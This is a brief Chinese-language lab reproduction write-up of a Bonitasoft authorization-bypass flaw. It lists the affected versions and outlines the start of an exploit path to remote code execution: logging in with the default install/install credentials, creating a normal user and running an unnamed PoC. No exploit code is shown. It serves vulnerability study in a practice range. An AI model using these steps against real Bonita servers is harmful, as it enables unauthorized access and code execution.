Bonitasoft 是一个业务自动化平台，可以更轻松地在业务流程中构建、部署和管理自动化应用程序；Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。
2、漏洞概述在Bonitasoft Authorization漏洞版本，由于 API 授权过滤器中配置问题，通过精心构造的的字符串附加到 API URL，能够绕过权限认证。拥有普通用户权限的攻击者在绕过权限认证后，将恶意代码部署到服务器上，进行远程代码执行。
3、影响范围For community（社区版）: 2022.1-u0 (7.14.0) 以下
For subscription（订阅版）: 2022.1-u0 (7.14.0) 以下
2021.2-u4 (7.13.4) 以下
2021.1-0307 (7.12.11) 以下
7.11.7 以下
4、环境搭建vulfocus在线靶场进行复现
5、利用流程1、访问靶场环境，使用默认账号密码：install/install 登录页面;
2、创建普通用户
3、利用某大佬写的poc
